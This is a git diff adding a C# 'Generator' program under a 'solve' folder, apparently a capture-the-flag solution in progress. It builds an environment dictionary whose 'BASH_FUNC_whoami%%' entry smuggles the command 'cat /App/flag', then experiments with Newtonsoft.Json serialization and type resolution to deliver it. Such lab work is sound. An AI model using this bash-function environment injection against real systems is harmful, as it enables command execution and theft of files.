diff options
Diffstat (limited to 'solve/Generator/Program.cs')
| -rw-r--r-- | solve/Generator/Program.cs | 42 |
1 files changed, 42 insertions, 0 deletions
diff --git a/solve/Generator/Program.cs b/solve/Generator/Program.cs new file mode 100644 index 0000000..22879c1 --- /dev/null +++ b/solve/Generator/Program.cs @@ -0,0 +1,42 @@ +using Newtonsoft.Json; + +namespace Program { + +class Program { +static Type GetTypeByName(String name) {
+ return AppDomain.CurrentDomain.GetAssemblies()
+ .Reverse()
+ .Select(assembly => assembly.GetType(name))
+ .FirstOrDefault(t => t != null);
+} + +public String testfn(Dictionary<String,String> ina) { + Console.WriteLine(this); + return "Testing"; +} + +static void Main(String[] args) { +// See https://aka.ms/new-console-template for more information + var env = new Dictionary<String, String>(); + env.Add("BASH_FUNC_whoami%%", "cat /App/flag"); + String serialized = JsonConvert.SerializeObject(env); + Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary`2[System.String,System.String]")); + Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary[System.String, System.String]")); + Console.WriteLine(">",GetTypeByName("Dictionary<String,String>")); + Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary")); + Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary<System.String,System.String>")); + Console.WriteLine(">",AppDomain.CurrentDomain.GetAssemblies().ToString()); + var test = JsonConvert.DeserializeObject(serialized, GetTypeByName("System.Collections.Generic.Dictionary")); + var array = "[" + test + "]"; + var test2 = JsonConvert.DeserializeObject<object[]>(array); + var test3 = JsonConvert.DeserializeObject(JsonConvert.SerializeObject(test2), GetTypeByName("Dictionary<String, String>")); + + var program = new Program(); + program.GetType().GetMethod("testfn").Invoke(program, [test]); + Console.WriteLine(test); + Console.WriteLine(test2); + Console.WriteLine(test3); + Console.WriteLine(serialized); +} +} +} |
